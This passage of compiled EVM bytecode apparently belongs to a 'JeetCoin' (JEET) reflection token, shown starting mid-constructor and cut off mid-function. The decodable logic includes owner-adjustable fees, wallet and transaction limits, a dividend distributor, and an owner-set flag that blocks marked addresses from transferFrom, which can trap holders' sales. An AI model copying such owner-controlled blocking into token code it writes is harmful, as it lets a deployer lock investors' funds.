01168201806040525081019062000451919062000de5565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550604051620005629062000aba565b604051809103906000f0801580156200057f573d6000803e3d6000fd5b50601a60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600454600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045460405162000aac919062000e66565b60405180910390a362000e83565b611871806200587983390190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000b565780860481111562000b2e5762000b2d62000ac8565b5b600185161562000b3e5780820291505b808102905062000b4e8562000af7565b945062000b0e565b94509492505050565b60008262000b71576001905062000c44565b8162000b81576000905062000c44565b816001811462000b9a576002811462000ba55762000bdb565b600191505062000c44565b60ff84111562000bba5762000bb962000ac8565b5b8360020a91508482111562000bd45762000bd362000ac8565b5b5062000c44565b5060208310610133831016604e8410600b841016171562000c155782820a90508381111562000c0f5762000c0e62000ac8565b5b62000c44565b62000c24848484600162000b04565b9250905081840481111562000c3e5762000c3d62000ac8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000c6f8262000c4b565b915062000c7c8362000c55565b925062000cab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b5f565b905092915050565b600062000cc08262000c4b565b915062000ccd8362000c4b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d095762000d0862000ac8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d508262000c4b565b915062000d5d8362000c4b565b92508262000d705762000d6f62000d14565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000dad8262000d80565b9050919050565b62000dbf8162000da0565b811462000dcb57600080fd5b50565b60008151905062000ddf8162000db4565b92915050565b60006020828403121562000dfe5762000dfd62000d7b565b5b600062000e0e8482850162000dce565b91505092915050565b62000e228162000da0565b82525050565b600060408201905062000e3f600083018562000e17565b62000e4e602083018462000e17565b9392505050565b62000e608162000c4b565b82525050565b600060208201905062000e7d600083018462000e55565b92915050565b6149e68062000e936000396000f3fe6080604052600436106102b25760003560e01c8063722b62ad11610175578063c9567bf9116100dc578063f0b37c0411610095578063f84ba65d1161006f578063f84ba65d14610acb578063f887ea4014610af4578063fe9fbb8014610b1f578063ffb54a9914610b5c576102b9565b8063f0b37c0414610a50578063f2fde38b14610a79578063f708a64f14610aa2576102b9565b8063c9567bf914610940578063ca33e64c14610957578063d51ed1c814610982578063dd62ed3e146109bf578063df20fd49146109fc578063e96fada214610a25576102b9565b80639d1944f51161012e5780639d1944f514610832578063a4b45c001461085b578063a8aa1b3114610884578063a9059cbb146108af578063b6a5d7de146108ec578063bf56b37114610915576102b9565b8063722b62ad1461073257806378109e541461075d5780637d1db4a51461078857806382bf293c146107b3578063893d20e8146107dc57806395d89b4114610807576102b9565b80632d594567116102195780635c85974f116101d25780635c85974f14610624578063617fe0ed1461064d578063658d4b7f146106785780636ddd1713146106a15780636fcba377146106cc57806370a08231146106f5576102b9565b80632d594567146105045780632f54bf6e1461052d578063313ce5671461056a578063455a43961461059557806350db71fb146105be578063571ac8b0146105e7576102b9565b80631cdd3be31161026b5780631cdd3be3146103e25780631df4ccfc1461041f578063201e79911461044a57806323b872dd146104735780632b112e49146104b05780632d48e896146104db576102b9565b8063025ff12f146102be5780630445b667146102e757806306fdde0314610312578063095ea7b31461033d5780631161ae391461037a57806318160ddd146103b7576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e0919061397a565b610b87565b005b3480156102f357600080fd5b506102fc610fcc565b6040516103099190613a28565b60405180910390f35b34801561031e57600080fd5b50610327610fd2565b6040516103349190613adc565b60405180910390f35b34801561034957600080fd5b50610364600480360381019061035f9190613b2a565b61100f565b6040516103719190613b85565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c9190613ba0565b611101565b6040516103ae9190613b85565b60405180910390f35b3480156103c357600080fd5b506103cc611116565b6040516103d99190613a28565b60405180910390f35b3480156103ee57600080fd5b5061040960048036038101906104049190613be0565b611120565b6040516104169190613b85565b60405180910390f35b34801561042b57600080fd5b50610434611140565b6040516104419190613a28565b60405180910390f35b34801561045657600080fd5b50610471600480360381019061046c9190613ba0565b611146565b005b34801561047f57600080fd5b5061049a60048036038101906104959190613c0d565b6111a0565b6040516104a79190613b85565b60405180910390f35b3480156104bc57600080fd5b506104c561148f565b6040516104d29190613a28565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190613ba0565b611503565b005b34801561051057600080fd5b5061052b60048036038101906105269190613cc5565b6115de565b005b34801561053957600080fd5b50610554600480360381019061054f9190613be0565b61165f565b6040516105619190613b85565b60405180910390f35b34801561057657600080fd5b5061057f6116b8565b60405161058c9190613d14565b60405180910390f35b3480156105a157600080fd5b506105bc60048036038101906105b79190613d2f565b6116c1565b005b3480156105ca57600080fd5b506105e560048036038101906105e09190613d2f565b611764565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613be0565b611807565b60405161061b9190613b85565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d6f565b61183a565b005b34801561065957600080fd5b5061066261188c565b60405161066f9190613b85565b60405180910390f35b34801561068457600080fd5b5061069f600480360381019061069a9190613d2f565b61189f565b005b3480156106ad57600080fd5b506106b6611942565b6040516106c39190613b85565b60405180910390f35b3480156106d857600080fd5b506106f360048036038101906106ee9190613d9c565b611955565b005b34801561070157600080fd5b5061071c60048036038101906107179190613be0565b6119f8565b6040516107299190613a28565b60405180910390f35b34801561073e57600080fd5b50610747611a41565b6040516107549190613d14565b60405180910390f35b34801561076957600080fd5b50610772611a54565b60405161077f9190613a28565b60405180910390f35b34801561079457600080fd5b5061079d611a5a565b6040516107aa9190613a28565b60405180910390f35b3480156107bf57600080fd5b506107da60048036038101906107d59190613d6f565b611a60565b005b3480156107e857600080fd5b506107f1611acb565b6040516107fe9190613e12565b60405180910390f35b34801561081357600080fd5b5061081c611af4565b6040516108299190613adc565b60405180910390f35b34801561083e57600080fd5b5061085960048036038101906108549190613d6f565b611b31565b005b34801561086757600080fd5b50610882600480360381019061087d9190613e2d565b611b92565b005b34801561089057600080fd5b50610899611c60565b6040516108a69190613e12565b60405180910390f35b3480156108bb57600080fd5b506108d660048036038101906108d19190613b2a565b611c86565b6040516108e39190613b85565b60405180910390f35b3480156108f857600080fd5b50610913600480360381019061090e9190613be0565b611c9b565b005b34801561092157600080fd5b5061092a611d3d565b6040516109379190613a28565b60405180910390f35b34801561094c57600080fd5b50610955611d43565b005b34801561096357600080fd5b5061096c611da8565b6040516109799190613e12565b60405180910390f35b34801561098e57600080fd5b506109a960048036038101906109a49190613d6f565b611dce565b6040516109b69190613a28565b60405180910390f35b3480156109cb57600080fd5b506109e660048036038101906109e19190613e2d565b611e2b565b6040516109f39190613a28565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190613e6d565b611eb2565b005b348015610a3157600080fd5b50610a3a611f1f565b604051610a479190613e12565b60405180910390f35b348015610a5c57600080fd5b50610a776004803603810190610a729190613be0565b611f45565b005b348015610a8557600080fd5b50610aa06004803603810190610a9b9190613eeb565b611fe8565b005b348015610aae57600080fd5b50610ac96004803603810190610ac49190613d2f565b612101565b005b348015610ad757600080fd5b50610af26004803603810190610aed9190613d2f565b6123a1565b005b348015610b0057600080fd5b50610b09612444565b604051610b169190613f77565b60405180910390f35b348015610b2b57600080fd5b50610b466004803603810190610b419190613be0565b61246a565b604051610b539190613b85565b60405180910390f35b348015610b6857600080fd5b50610b716124c0565b604051610b7e9190613b85565b60405180910390f35b610b903361165f565b610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690613fde565b60405180910390fd5b6000828290508585905014610c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1090614070565b60405180910390fd5b60005b85859050811015610c6157838382818110610c3a57610c39614090565b5b9050602002013582610c4c91906140ee565b91508080610c5990614144565b915050610c1c565b5080610c6c876119f8565b1015610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca4906141d8565b60405180910390fd5b60005b85859050811015610ea957610d0687878784818110610cd257610cd1614090565b5b9050602002016020810190610ce79190613be0565b868685818110610cfa57610cf9614090565b5b905060200201356124d3565b50600c6000878784818110610d1e57610d1d614090565b5b9050602002016020810190610d339190613be0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e9657601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca96878784818110610dd057610dcf614090565b5b9050602002016020810190610de59190613be0565b600760008a8a87818110610dfc57610dfb614090565b5b9050602002016020810190610e119190613be0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401610e699291906141f8565b600060405180830381600087803b158015610e8357600080fd5b505af1925050508015610e94575060015b505b8080610ea190614144565b915050610cb0565b50600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fc457601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9687600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401610f979291906141f8565b600060405180830381600087803b158015610fb157600080fd5b505af1925050508015610fc2575060015b505b505050505050565b601f5481565b60606040518060400160405280600881526020017f4a656574436f696e000000000000000000000000000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516110ef9190613a28565b60405180910390a36001905092915050565b60008261110d83611dce565b11905092915050565b6000600454905090565b600d6020528060005260406000206000915054906101000a900460ff1681565b60115481565b61114f3361246a565b61118e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111859061426d565b60405180910390fd5b81601581905550806016819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146113985781600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb906142d9565b60405180910390fd5b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461139091906142f9565b925050819055505b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561143c5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61147b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147290614379565b60405180910390fd5b611486848484612661565b90509392505050565b60006114bc600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119f8565b6114e7600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119f8565b6004546114f491906142f9565b6114fe91906142f9565b905090565b61150c3361246a565b61154b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115429061426d565b60405180910390fd5b601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632d48e89683836040518363ffffffff1660e01b81526004016115a8929190614399565b600060405180830381600087803b1580156115c257600080fd5b505af11580156115d6573d6000803e3d6000fd5b505050505050565b6115e73361165f565b611626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161d90613fde565b60405180910390fd5b81601c60006101000a81548160ff02191690831515021790555080601c60016101000a81548160ff021916908360ff1602179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6116ca3361165f565b611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170090613fde565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61176d3361246a565b6117ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a39061426d565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000611833827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61100f565b9050919050565b6118433361246a565b611882576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118799061426d565b60405180910390fd5b8060058190555050565b601c60009054906101000a900460ff1681565b6118a83361246a565b6118e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118de9061426d565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601e60009054906101000a900460ff1681565b61195e3361246a565b61199d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119949061426d565b60405180910390fd5b83600e8190555082600f81905550816010819055508183856119bf91906140ee565b6119c991906140ee565b6011819055508060128190555060046012546119e591906143f1565b601154106119f257600080fd5b50505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601c60019054906101000a900460ff1681565b60065481565b60055481565b611a693361165f565b611aa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9f90613fde565b60405180910390fd5b606481600454611ab89190614422565b611ac291906143f1565b60068190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4a45455400000000000000000000000000000000000000000000000000000000815250905090565b611b3a3361246a565b611b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b709061426d565b60405180910390fd5b621ab3f08110611b8857600080fd5b80601b8190555050565b611b9b3361246a565b611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd19061426d565b60405180910390fd5b81601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611c93338484612661565b905092915050565b611ca43361165f565b611ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cda90613fde565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60195481565b611d4c3361165f565b611d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8290613fde565b60405180910390fd5b6001601a60006101000a81548160ff021916908315150217905550565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611dd861148f565b6002611e05601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119f8565b611e0f9190614422565b83611e1a9190614422565b611e2491906143f1565b9050919050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ebb3361246a565b611efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef19061426d565b60405180910390fd5b81601e60006101000a81548160ff02191690831515021790555080601f819055505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611f4e3361165f565b611f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8490613fde565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611ff13361165f565b612030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202790613fde565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516120f6919061449d565b60405180910390a150565b61210a3361246a565b612149576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121409061426d565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156121d35750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6121dc57600080fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080156122ce57601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca968360006040518363ffffffff1660e01b81526004016122979291906144f3565b600060405180830381600087803b1580156122b157600080fd5b505af11580156122c5573d6000803e3d6000fd5b5050505061239d565b601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9683600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b815260040161236a9291906141f8565b600060405180830381600087803b15801561238457600080fd5b505af1158015612398573d6000803e3d6000fd5b505050505b5050565b6123aa3361246a565b6123e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e09061426d565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601a60009054906101000a900460ff1681565b600081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252091906142f9565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ae91906140ee565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161264e9190613a28565b60405180910390a3600190509392505050565b6000602060009054906101000a900460ff161561268a576126838484846124d3565b9050613002565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561272e5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561278357601a60009054906101000a900460ff16612782576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277990614568565b60405180910390fd5b5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561280957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156128635750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156128bd5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156129175750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156129715750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156129d5576000612981846119f8565b9050600654838261299291906140ee565b11156129d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ca906145fa565b60405180910390fd5b505b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612a3e5750601c60009054906101000a900460ff165b8015612a945750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b7c5742601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612b1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b119061468c565b60405180910390fd5b601c60019054906101000a900460ff1660ff1642612b3891906140ee565b601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b612b868483613009565b612b8e6130a6565b15612b9c57612b9b61317d565b5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be791906142f9565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000612c35856136d8565b612c3f5782612c4a565b612c49858461372f565b5b905080600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9791906140ee565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612df457601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9686600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401612dc79291906141f8565b600060405180830381600087803b158015612de157600080fd5b505af1925050508015612df2575060015b505b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f0e57601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9685600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401612ee19291906141f8565b600060405180830381600087803b158015612efb57600080fd5b505af1925050508015612f0c575060015b505b601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ffb2c479601b546040518263ffffffff1660e01b8152600401612f6b9190613a28565b600060405180830381600087803b158015612f8557600080fd5b505af1925050508015612f96575060015b508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ff49190613a28565b60405180910390a360019150505b9392505050565b600554811115806130635750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6130a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613099906146f8565b60405180910390fd5b5050565b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156131135750602060009054906101000a900460ff16155b801561312b5750601e60009054906101000a900460ff165b80156131785750601f54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001602060006101000a81548160ff02191690831515021790555060006131a8601554601654611101565b6131b457600e546131b7565b60005b905060006002601154836131ca306119f8565b6131d49190614422565b6131de91906143f1565b6131e891906143f1565b90506000816131f6306119f8565b61320091906142f9565b90506000600267ffffffffffffffff81111561321f5761321e614718565b5b60405190808252806020026020018201604052801561324d5781602001602082028036833780820191505090505b509050308160008151811061326557613264614090565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561330c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613330919061475c565b8160018151811061334457613343614090565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b81526004016133e7959493929190614847565b600060405180830381600087803b15801561340157600080fd5b505af1158015613415573d6000803e3d6000fd5b505050506000814761342791906142f9565b9050600060028761343891906143f1565b60115461344591906142f9565b9050600060028289856134589190614422565b61346291906143f1565b61346c91906143f1565b9050600082600f548561347f9190614422565b61348991906143f1565b9050601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156134f557600080fd5b505af193505050508015613507575060015b50600088111561361a57601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161359a969594939291906148a1565b60606040518083038185885af11580156135b8573d6